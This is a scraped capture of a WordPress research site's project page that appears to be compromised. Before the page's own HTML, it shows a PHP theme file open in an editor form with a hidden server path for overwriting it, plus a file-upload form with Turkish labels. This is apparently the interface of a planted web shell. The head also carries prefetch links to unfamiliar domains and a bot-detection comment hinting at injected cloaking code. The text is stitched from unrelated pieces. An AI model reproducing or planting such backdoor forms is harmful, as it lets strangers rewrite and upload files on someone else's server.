                        $this-&gt;admin_notices[] = array(
                            &#039;type&#039;    =&gt; &#039;error&#039;,
                            &#039;msg&#039;     =&gt; $msg,
                            &#039;id&#039;      =&gt; &#039;share_config&#039;,
                            &#039;dismiss&#039; =&gt; true,
                        );
                    }
                }
            }


            /**
             * Checks a nested capabilities array or string to determine if the current user meets the requirements.
             *
             * @since 3.6.3.4
             *
             * @param  string|array $capabilities Permission string or array to check. See self::user_can() for details.
             * @param  int          $object_id    (Optional) ID of the specific object to check against if capability is a &quot;meta&quot; cap.
             *                                    e.g. &#039;edit_post&#039;, &#039;edit_user&#039;, &#039;edit_page&#039;, etc.,
             *
             * @return bool Whether or not the user meets the requirements. False on invalid user.
             */
            public static function current_user_can( $capabilities ) {
                $current_user = wp_get_current_user();

                if ( empty( $current_user ) ) {
                    return false;
                }

                $name_arr = func_get_args();
                $args = array_merge( array( $current_user ), $name_arr );
                
                return call_user_func_array( array( __CLASS__, &#039;user_can&#039; ), $args );
            }


            /**
             * Checks a nested capabilities array or string to determine if the user meets the requirements.
             *
             * You can pass in a simple string like &#039;edit_posts&#039; or an array of conditions.
             *
             * The capability &#039;relation&#039; is reserved for controlling the relation mode (AND/OR), which defaults to AND.
             *
             * Max depth of 30 levels.  False is returned for any conditions exceeding max depth.
             *
             * If you want to check meta caps, you must also pass the object ID on which to check against.
             * If you get the error: PHP Notice:  Undefined offset: 0 in /wp-includes/capabilities.php, you didn&#039;t
             * pass the required $object_id.
             *
             * @since 3.6.3.4
             *
             * @example
             * ::user_can( 42, &#039;edit_pages&#039; );                        // Checks if user ID 42 has the &#039;edit_pages&#039; cap.
             * ::user_can( 42, &#039;edit_page&#039;, 17433 );                  // Checks if user ID 42 has the &#039;edit_page&#039; cap for post ID 17433.
             * ::user_can( 42, array( &#039;edit_pages&#039;, &#039;edit_posts&#039; ) ); // Checks if user ID 42 has both the &#039;edit_pages&#039; and &#039;edit_posts&#039; caps.
             *
             * @param  int|object   $user         User ID or WP_User object to check. Defaults to the current user.
             * @param  string|array $capabilities Capability string or array to check. The array lets you use multiple
             *                                    conditions to determine if a user has permission.
             *                                    Invalid conditions are skipped (conditions which aren&#039;t a string/array/bool/number(cast to bool)).
             *   Example array where the user needs to have either the &#039;edit_posts&#039; capability OR doesn&#039;t have the
             *   &#039;delete_pages&#039; cap OR has the &#039;update_plugins&#039; AND &#039;add_users&#039; capabilities.
             *   array(
             *     &#039;relation&#039;     =&gt; &#039;OR&#039;,      // Optional, defaults to AND.
             *     &#039;edit_posts&#039;,                // Equivalent to &#039;edit_posts&#039; =&gt; true,
             *     &#039;delete_pages&#039; =&gt; false,     // Tests that the user DOESN&#039;T have this capability
             *     array(                       // Nested conditions array (up to 30 nestings)
             *       &#039;update_plugins&#039;,
             *       &#039;add_users&#039;,
             *     ),
             *   )
             *
             * @param  int          $object_id    (Optional) ID of the specific object to check against if capability is a &quot;meta&quot; cap.
             *                                    e.g. &#039;edit_post&#039;, &#039;edit_user&#039;, &#039;edit_page&#039;, etc.,
             *
             * @return bool Whether or not the user meets the requirements.
             *              Will always return false for:
             *              - Invalid/missing user
             *              - If the $capabilities is not a string or array
             *              - Max nesting depth exceeded (for that level)
             */
            public static function user_can( $user, $capabilities, $object_id = null ) {
                static $depth = 0;

                if ( $depth &gt;= 30 ) {
                    return false;
                }

                if ( empty( $user ) ) {
                    return false;
                }

                if ( !is_object( $user ) ) {
                    $user = get_userdata( $user );
                }

                if ( is_string( $capabilities ) ) {
                    // Simple string capability check
                    $args = array(
                        $user,
                        $capabilities,
                    );

                    if ( $object_id !== null ) {
                        $args[] = $object_id;
                    }

                    return call_user_func_array( &#039;user_can&#039;, $args );
                } else {
                    // Only strings and arrays are allowed as valid capabilities
                    if ( !is_array( $capabilities ) ) {
                        return false;
                    }
                }

                // Capability array check
                $or = false;

                foreach ( $capabilities as $key =&gt; $value ) {
                    if ( $key === &#039;relation&#039; ) {
                        if ( $value === &#039;OR&#039; ) {
                            $or = true;
                        }

                        continue;
                    }

                    /**
                     * Rules can be in 4 different formats:
                     * [
                     *   [0]      =&gt; &#039;foobar&#039;,
                     *   [1]      =&gt; array(...),
                     *   &#039;foobar&#039; =&gt; false,
                     *   &#039;foobar&#039; =&gt; array(...),
                     * ]
                     */
                    if ( is_numeric( $key ) ) {
                        // Numeric key
                        if ( is_string( $value ) ) {
                            // Numeric key with a string value is the capability string to check
                            // [0] =&gt; &#039;foobar&#039;
                            $args = array( $user, $value, );

                            if ( $object_id !== null ) {
                                $args[] = $object_id;
                            }

                            $expression_result = call_user_func_array( &#039;user_can&#039;, $args ) === true;
                        } elseif ( is_array( $value ) ) {
                            // [0] =&gt; array(...)
                            $depth++;

                            $expression_result = self::user_can( $user, $value, $object_id );

                            $depth--;
                        } else {
                            // Invalid types are skipped
                            continue;
                        }
                    } else {
                        // Non-numeric key
                        if ( is_scalar( $value ) ) {
                            // &#039;foobar&#039; =&gt; false
                            $args = array( $user, $key, );

                            if ( $object_id !== null ) {
                                $args[] = $object_id;
                            }

                            $expression_result = call_user_func_array( &#039;user_can&#039;, $args ) === (bool)$value;
                        } elseif ( is_array( $value ) ) {
                            // &#039;foobar&#039; =&gt; array(...)
                            $depth++;

                            $expression_result = self::user_can( $user, $value, $object_id );

                            $depth--;
                        } else {
                            // Invalid types are skipped
                            continue;
                        }
                    }

                    // Check after every evaluation if we know enough to return a definitive answer
                    if ( $or ) {
                        if ( $expression_result ) {
                            // If the relation is OR, return on the first true expression
                            return true;
                        }
                    } else {
                        if ( !$expression_result ) {
                            // If the relation is AND, return on the first false expression
                            return false;
                        }
                    }
                }

                // If we get this far on an OR, then it failed
                // If we get this far on an AND, then it succeeded
                return !$or;
            }

        }

        // ReduxFramework

        /**
         * action &#039;redux/init&#039;
         *
         * @param null
         */
        do_action( &#039;redux/init&#039;, ReduxFramework::init() );
    } // class_exists(&#039;ReduxFramework&#039;)
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home/tradfvfl/public_html/wp-content/themes/salient/nectar/redux-framework/ReduxCore/framework.php">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!doctype html>
<html lang="en-US" prefix="og: https://ogp.me/ns#" class="no-js">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" /><link rel="alternate" hreflang="en" href="https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/" />
<link rel="alternate" hreflang="x-default" href="https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/" />

<!-- WP Core Module: Bot 'Generic-Bot' detected (via HTTP_USER_AGENT), but no links were returned from API. -->

<!-- Search Engine Optimization by Rank Math - https://rankmath.com/ -->
<title>A Comparative Analysis of Generalised Systems of Preferences - Trade Lab</title>
<meta name="robots" content="follow, index, max-snippet:-1, max-video-preview:-1, max-image-preview:large"/>
<link rel="canonical" href="https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="article" />
<meta property="og:title" content="A Comparative Analysis of Generalised Systems of Preferences - Trade Lab" />
<meta property="og:url" content="https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/" />
<meta property="og:site_name" content="Trade Lab" />
<meta property="article:published_time" content="2023-11-22T21:42:42+01:00" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:title" content="A Comparative Analysis of Generalised Systems of Preferences - Trade Lab" />
<script type="application/ld+json" class="rank-math-schema">{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://tradelab.org/#organization","name":"Trade Lab","url":"https://tradelab.org","email":"balazs","logo":{"@type":"ImageObject","@id":"https://tradelab.org/#logo","url":"https://tradelab.org/wp-content/uploads/2022/08/TradeLab-Logo.png","contentUrl":"https://tradelab.org/wp-content/uploads/2022/08/TradeLab-Logo.png","caption":"Trade Lab","inLanguage":"en-US","width":"310","height":"69"}},{"@type":"WebSite","@id":"https://tradelab.org/#website","url":"https://tradelab.org","name":"Trade Lab","publisher":{"@id":"https://tradelab.org/#organization"},"inLanguage":"en-US"},{"@type":"WebPage","@id":"https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/#webpage","url":"https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/","name":"A Comparative Analysis of Generalised Systems of Preferences - Trade Lab","datePublished":"2023-11-22T21:42:42+01:00","dateModified":"2023-11-22T21:42:42+01:00","isPartOf":{"@id":"https://tradelab.org/#website"},"inLanguage":"en-US"},{"@type":"Person","@id":"https://tradelab.org/author/laurenrobbins/","name":"laurenrobbins","url":"https://tradelab.org/author/laurenrobbins/","image":{"@type":"ImageObject","@id":"https://secure.gravatar.com/avatar/227178c51b9f0ffffa63482520f5d4ffa08d1df3bc377def44672c4f242693c3?s=96&amp;d=mm&amp;r=g","url":"https://secure.gravatar.com/avatar/227178c51b9f0ffffa63482520f5d4ffa08d1df3bc377def44672c4f242693c3?s=96&amp;d=mm&amp;r=g","caption":"laurenrobbins","inLanguage":"en-US"},"worksFor":{"@id":"https://tradelab.org/#organization"}},{"@type":"Article","headline":"A Comparative Analysis of Generalised Systems of Preferences - Trade Lab","datePublished":"2023-11-22T21:42:42+01:00","dateModified":"2023-11-22T21:42:42+01:00","author":{"@id":"https://tradelab.org/author/laurenrobbins/","name":"laurenrobbins"},"publisher":{"@id":"https://tradelab.org/#organization"},"name":"A Comparative Analysis of Generalised Systems of Preferences - Trade Lab","@id":"https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/#richSnippet","isPartOf":{"@id":"https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/#webpage"},"inLanguage":"en-US","mainEntityOfPage":{"@id":"https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/#webpage"}}]}</script>
<!-- /Rank Math WordPress SEO plugin -->

<link rel='dns-prefetch' href='//socketapiupdates.com' />
<link rel='dns-prefetch' href='//neutralmarlservices.com' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<link rel="alternate" type="application/rss+xml" title="Trade Lab &raquo; Feed" href="https://tradelab.org/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://tradelab.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftradelab.org%2Fprojects%2Fa-comparative-analysis-of-generalised-systems-of-preferences%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://tradelab.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftradelab.org%2Fprojects%2Fa-comparative-analysis-of-generalised-systems-of-preferences%2F&#038;format=xml" />
		<style>
			.lazyload,
			.lazyloading {
				max-width: 100%;
			}
		</style>
		<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a2ab13bc08be*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='wpml-blocks-css' href='https://tradelab.org/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.10' media='all' />
<link rel='stylesheet' id='nectar-portfolio-css' href='https://tradelab.org/wp-content/plugins/salient-portfolio/css/portfolio.css?ver=1.7.6' media='all' />
<link rel='stylesheet' id='salient-social-css' href='https://tradelab.org/wp-content/plugins/salient-social/css/style.css?ver=1.2.5' media='all' />
<style id="salient-social-inline-css">

  .sharing-default-minimal .nectar-love.loved,
  body .nectar-social[data-color-override="override"].fixed > a:before, 
  body .nectar-social[data-color-override="override"].fixed .nectar-social-inner a,
  .sharing-default-minimal .nectar-social[data-color-override="override"] .nectar-social-inner a:hover,
  .nectar-social.vertical[data-color-override="override"] .nectar-social-inner a:hover {
    background-color: #065080;
  }
  .nectar-social.hover .nectar-love.loved,
  .nectar-social.hover > .nectar-love-button a:hover,
  .nectar-social[data-color-override="override"].hover > div a:hover,
  #single-below-header .nectar-social[data-color-override="override"].hover > div a:hover,
  .nectar-social[data-color-override="override"].hover .share-btn:hover,
  .sharing-default-minimal .nectar-social[data-color-override="override"] .nectar-social-inner a {
    border-color: #065080;
  }
  #single-below-header .nectar-social.hover .nectar-love.loved i,
  #single-below-header .nectar-social.hover[data-color-override="override"] a:hover,
  #single-below-header .nectar-social.hover[data-color-override="override"] a:hover i,
  #single-below-header .nectar-social.hover .nectar-love-button a:hover i,
  .nectar-love:hover i,
  .hover .nectar-love:hover .total_loves,
  .nectar-love.loved i,
  .nectar-social.hover .nectar-love.loved .total_loves,
  .nectar-social.hover .share-btn:hover, 
  .nectar-social[data-color-override="override"].hover .nectar-social-inner a:hover,
  .nectar-social[data-color-override="override"].hover > div:hover span,
  .sharing-default-minimal .nectar-social[data-color-override="override"] .nectar-social-inner a:not(:hover) i,
  .sharing-default-minimal .nectar-social[data-color-override="override"] .nectar-social-inner a:not(:hover) {
    color: #065080;
  }
/*# sourceURL=salient-social-inline-css */
</style>
<link rel='stylesheet' id='wpml-menu-item-0-css' href='https://tradelab.org/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-item/style.min.css?ver=1' media='all' />
<link rel='stylesheet' id='font-awesome-css' href='https://tradelab.org/wp-content/themes/salient/css/font-awesome-legacy.min.css?ver=4.7.1' media='all' />
<link rel='stylesheet' id='salient-grid-system-css' href='https://tradelab.org/wp-content/themes/salient/css/build/grid-system.css?ver=16.2.2' media='all' />
<link rel='stylesheet' id='main-styles-css' href='https://tradelab.org/wp-content/themes/salient/css/build/style.css?ver=16.2.2' media='all' />
<style id="main-styles-inline-css">
html:not(.page-trans-loaded) { background-color: #ffffff; }
/*# sourceURL=main-styles-inline-css */
</style>
<link rel='stylesheet' id='nectar-single-styles-css' href='https://tradelab.org/wp-content/themes/salient/css/build/single.css?ver=16.2.2' media='all' />
<link rel='stylesheet' id='nectar-cf7-css' href='https://tradelab.org/wp-content/themes/salient/css/build/third-party/cf7.css?ver=16.2.2' media='all' />
<link rel='stylesheet' id='nectar_default_font_open_sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans%3A300%2C400%2C600%2C700&#038;subset=latin%2Clatin-ext' media='all' />
<link rel='stylesheet' id='responsive-css' href='https://tradelab.org/wp-content/themes/salient/css/build/responsive.css?ver=16.2.2' media='all' />
<link rel='stylesheet' id='skin-material-css' href='https://tradelab.org/wp-content/themes/salient/css/build/skin-material.css?ver=16.2.2' media='all' />
<style id="salient-wp-menu-dynamic-fallback-inline-css">
#header-outer .nectar-ext-menu-item .image-layer-outer,#header-outer .nectar-ext-menu-item .image-layer,#header-outer .nectar-ext-menu-item .color-overlay,#slide-out-widget-area .nectar-ext-menu-item .image-layer-outer,#slide-out-widget-area .nectar-ext-menu-item .color-overlay,#slide-out-widget-area .nectar-ext-menu-item .image-layer{position:absolute;top:0;left:0;width:100%;height:100%;overflow:hidden;}.nectar-ext-menu-item .inner-content{position:relative;z-index:10;width:100%;}.nectar-ext-menu-item .image-layer{background-size:cover;background-position:center;transition:opacity 0.25s ease 0.1s;}.nectar-ext-menu-item .image-layer video{object-fit:cover;width:100%;height:100%;}#header-outer nav .nectar-ext-menu-item .image-layer:not(.loaded){background-image:none!important;}#header-outer nav .nectar-ext-menu-item .image-layer{opacity:0;}#header-outer nav .nectar-ext-menu-item .image-layer.loaded{opacity:1;}.nectar-ext-menu-item span[class*="inherit-h"] + .menu-item-desc{margin-top:0.4rem;}#mobile-menu .nectar-ext-menu-item .title,#slide-out-widget-area .nectar-ext-menu-item .title,.nectar-ext-menu-item .menu-title-text,.nectar-ext-menu-item .menu-item-desc{position:relative;}.nectar-ext-menu-item .menu-item-desc{display:block;line-height:1.4em;}body #slide-out-widget-area .nectar-ext-menu-item .menu-item-desc{line-height:1.4em;}#mobile-menu .nectar-ext-menu-item .title,#slide-out-widget-area .nectar-ext-menu-item:not(.style-img-above-text) .title,.nectar-ext-menu-item:not(.style-img-above-text) .menu-title-text,.nectar-ext-menu-item:not(.style-img-above-text) .menu-item-desc,.nectar-ext-menu-item:not(.style-img-above-text) i:before,.nectar-ext-menu-item:not(.style-img-above-text) .svg-icon{color:#fff;}#mobile-menu .nectar-ext-menu-item.style-img-above-text .title{color:inherit;}.sf-menu li ul li a .nectar-ext-menu-item .menu-title-text:after{display:none;}.menu-item .widget-area-active[data-margin="default"] > div:not(:last-child){margin-bottom:20px;}.nectar-ext-menu-item__button{display:inline-block;padding-top:2em;}#header-outer nav li:not([class*="current"]) > a .nectar-ext-menu-item .inner-content.has-button .title .menu-title-text{background-image:none;}.nectar-ext-menu-item__button .nectar-cta:not([data-color="transparent"]){margin-top:.8em;margin-bottom:.8em;}.nectar-ext-menu-item .color-overlay{transition:opacity 0.5s cubic-bezier(.15,.75,.5,1);}.nectar-ext-menu-item:hover .hover-zoom-in-slow .image-layer{transform:scale(1.15);transition:transform 4s cubic-bezier(0.1,0.2,.7,1);}.nectar-ext-menu-item:hover .hover-zoom-in-slow .color-overlay{transition:opacity 1.5s cubic-bezier(.15,.75,.5,1);}.nectar-ext-menu-item .hover-zoom-in-slow .image-layer{transition:transform 0.5s cubic-bezier(.15,.75,.5,1);}.nectar-ext-menu-item .hover-zoom-in-slow .color-overlay{transition:opacity 0.5s cubic-bezier(.15,.75,.5,1);}.nectar-ext-menu-item:hover .hover-zoom-in .image-layer{transform:scale(1.12);}.nectar-ext-menu-item .hover-zoom-in .image-layer{transition:transform 0.5s cubic-bezier(.15,.75,.5,1);}.nectar-ext-menu-item{display:flex;text-align:left;}#slide-out-widget-area .nectar-ext-menu-item .title,#slide-out-widget-area .nectar-ext-menu-item .menu-item-desc,#slide-out-widget-area .nectar-ext-menu-item .menu-title-text,#mobile-menu .nectar-ext-menu-item .title,#mobile-menu .nectar-ext-menu-item .menu-item-desc,#mobile-menu .nectar-ext-menu-item .menu-title-text{color:inherit!important;}#slide-out-widget-area .nectar-ext-menu-item,#mobile-menu .nectar-ext-menu-item{display:block;}#slide-out-widget-area .nectar-ext-menu-item .inner-content,#mobile-menu .nectar-ext-menu-item .inner-content{width:100%;}#slide-out-widget-area.fullscreen-alt .nectar-ext-menu-item,#slide-out-widget-area.fullscreen .nectar-ext-menu-item{text-align:center;}#header-outer .nectar-ext-menu-item.style-img-above-text .image-layer-outer,#slide-out-widget-area .nectar-ext-menu-item.style-img-above-text .image-layer-outer{position:relative;}#header-outer .nectar-ext-menu-item.style-img-above-text,#slide-out-widget-area .nectar-ext-menu-item.style-img-above-text{flex-direction:column;}
/*# sourceURL=salient-wp-menu-dynamic-fallback-inline-css */
</style>
<link rel='stylesheet' id='dynamic-css-css' href='https://tradelab.org/wp-content/themes/salient/css/salient-dynamic-styles.css?ver=33482' media='all' />
<style id="dynamic-css-inline-css">
.single.single-post .container-wrap{padding-top:0;}.main-content .featured-media-under-header{padding:min(6vw,90px) 0;}.featured-media-under-header__featured-media:not([data-has-img="false"]){margin-top:min(6vw,90px);}.featured-media-under-header__featured-media:not([data-format="video"]):not([data-format="audio"]):not([data-has-img="false"]){overflow:hidden;position:relative;padding-bottom:40%;}.featured-media-under-header__meta-wrap{display:flex;flex-wrap:wrap;align-items:center;}.featured-media-under-header__meta-wrap .meta-author{display:inline-flex;align-items:center;}.featured-media-under-header__meta-wrap .meta-author img{margin-right:8px;width:28px;border-radius:100px;}.featured-media-under-header__featured-media .post-featured-img{display:block;line-height:0;top:auto;bottom:0;}.featured-media-under-header__featured-media[data-n-parallax-bg="true"] .post-featured-img{height:calc(100% + 75px);}.featured-media-under-header__featured-media .post-featured-img img{position:absolute;top:0;left:0;width:100%;height:100%;object-fit:cover;object-position:top;}@media only screen and (max-width:690px){.featured-media-under-header__featured-media[data-n-parallax-bg="true"] .post-featured-img{height:calc(100% + 45px);}.featured-media-under-header__meta-wrap{font-size:14px;}}.featured-media-under-header__featured-media[data-align="center"] .post-featured-img img{object-position:center;}.featured-media-under-header__featured-media[data-align="bottom"] .post-featured-img img{object-position:bottom;}.featured-media-under-header h1{margin:max(min(0.35em,35px),20px) 0 max(min(0.25em,25px),15px) 0;}.featured-media-under-header__cat-wrap .meta-category a{line-height:1;padding:7px 15px;margin-right:15px;}.featured-media-under-header__cat-wrap .meta-category a:not(:hover){background-color:rgba(0,0,0,0.05);}.featured-media-under-header__cat-wrap .meta-category a:hover{color:#fff;}.featured-media-under-header__meta-wrap a,.featured-media-under-header__cat-wrap a{color:inherit;}.featured-media-under-header__meta-wrap > span:not(:first-child):not(.rich-snippet-hidden):before{content:"·";padding:0 .5em;}.featured-media-under-header__excerpt{margin:0 0 20px 0;}@media only screen and (min-width:691px){[data-animate="fade_in"] .featured-media-under-header__cat-wrap,[data-animate="fade_in"].featured-media-under-header .entry-title,[data-animate="fade_in"] .featured-media-under-header__meta-wrap,[data-animate="fade_in"] .featured-media-under-header__featured-media,[data-animate="fade_in"] .featured-media-under-header__excerpt,[data-animate="fade_in"].featured-media-under-header + .row .content-inner{opacity:0;transform:translateY(50px);animation:nectar_featured_media_load 1s cubic-bezier(0.25,1,0.5,1) forwards;}[data-animate="fade_in"] .featured-media-under-header__cat-wrap{animation-delay:0.1s;}[data-animate="fade_in"].featured-media-under-header .entry-title{animation-delay:0.2s;}[data-animate="fade_in"] .featured-media-under-header__excerpt{animation-delay:0.3s;}[data-animate="fade_in"] .featured-media-under-header__meta-wrap{animation-delay:0.3s;}[data-animate="fade_in"] .featured-media-under-header__featured-media{animation-delay:0.4s;}[data-animate="fade_in"].featured-media-under-header + .row .content-inner{animation-delay:0.5s;}}@keyframes nectar_featured_media_load{0%{transform:translateY(50px);opacity:0;}100%{transform:translateY(0px);opacity:1;}}@media only screen and (min-width:1000px){body #ajax-content-wrap.no-scroll{min-height:calc(100vh - 149px);height:calc(100vh - 149px)!important;}}@media only screen and (min-width:1000px){#page-header-wrap.fullscreen-header,#page-header-wrap.fullscreen-header #page-header-bg,html:not(.nectar-box-roll-loaded) .nectar-box-roll > #page-header-bg.fullscreen-header,.nectar_fullscreen_zoom_recent_projects,#nectar_fullscreen_rows:not(.afterLoaded) > div{height:calc(100vh - 148px);}.wpb_row.vc_row-o-full-height.top-level,.wpb_row.vc_row-o-full-height.top-level > .col.span_12{min-height:calc(100vh - 148px);}html:not(.nectar-box-roll-loaded) .nectar-box-roll > #page-header-bg.fullscreen-header{top:149px;}.nectar-slider-wrap[data-fullscreen="true"]:not(.loaded),.nectar-slider-wrap[data-fullscreen="true"]:not(.loaded) .swiper-container{height:calc(100vh - 147px)!important;}.admin-bar .nectar-slider-wrap[data-fullscreen="true"]:not(.loaded),.admin-bar .nectar-slider-wrap[data-fullscreen="true"]:not(.loaded) .swiper-container{height:calc(100vh - 147px - 32px)!important;}}.admin-bar[class*="page-template-template-no-header"] .wpb_row.vc_row-o-full-height.top-level,.admin-bar[class*="page-template-template-no-header"] .wpb_row.vc_row-o-full-height.top-level > .col.span_12{min-height:calc(100vh - 32px);}body[class*="page-template-template-no-header"] .wpb_row.vc_row-o-full-height.top-level,body[class*="page-template-template-no-header"] .wpb_row.vc_row-o-full-height.top-level > .col.span_12{min-height:100vh;}@media only screen and (max-width:999px){.using-mobile-browser #nectar_fullscreen_rows:not(.afterLoaded):not([data-mobile-disable="on"]) > div{height:calc(100vh - 100px);}.using-mobile-browser .wpb_row.vc_row-o-full-height.top-level,.using-mobile-browser .wpb_row.vc_row-o-full-height.top-level > .col.span_12,[data-permanent-transparent="1"].using-mobile-browser .wpb_row.vc_row-o-full-height.top-level,[data-permanent-transparent="1"].using-mobile-browser .wpb_row.vc_row-o-full-height.top-level > .col.span_12{min-height:calc(100vh - 100px);}html:not(.nectar-box-roll-loaded) .nectar-box-roll > #page-header-bg.fullscreen-header,.nectar_fullscreen_zoom_recent_projects,.nectar-slider-wrap[data-fullscreen="true"]:not(.loaded),.nectar-slider-wrap[data-fullscreen="true"]:not(.loaded) .swiper-container,#nectar_fullscreen_rows:not(.afterLoaded):not([data-mobile-disable="on"]) > div{height:calc(100vh - 47px);}.wpb_row.vc_row-o-full-height.top-level,.wpb_row.vc_row-o-full-height.top-level > .col.span_12{min-height:calc(100vh - 47px);}body[data-transparent-header="false"] #ajax-content-wrap.no-scroll{min-height:calc(100vh - 47px);height:calc(100vh - 47px);}}.screen-reader-text,.nectar-skip-to-content:not(:focus){border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important;}.row .col img:not([srcset]){width:auto;}.row .col img.img-with-animation.nectar-lazy:not([srcset]){width:100%;}
/*global*/
html {
  -ms-text-size-adjust: 100%;
  -webkit-text-size-adjust: 100%;
}
.bold {
    font-weight: 600 !important;
}
::selection {
  background: rgba(255, 135, 49, .9);
  color: #fff;
}
.span_12.light .wpb_text_column a, 
.span_12.dark .wpb_text_column a {
    color: #ff8731;
    opacity: 1 !important;
}
.span_12.light .wpb_text_column a:hover, 
.span_12.dark .wpb_text_column a:hover {
    opacity: .75 !important;
}
@media screen and (min-width: 1000px) {
    .lefty.full-width-section .row-bg-wrap {
      left: unset;
      right: calc(50% - 635px);
      width: calc(50vw + 635px) !important;
      overflow: hidden;
    }
    .righty.full-width-section .row-bg-wrap {
      left: calc(50% - 635px);
      width: calc(50vw + 635px) !important;
      margin-left: 15px;
      overflow: hidden;
    }
}
.nectar-fancy-ul .fa-arrow-right::before {
  content: url("/wp-content/uploads/2022/09/arrow-right.png");
}

.nectar-video-box .nectar_video_lightbox path {
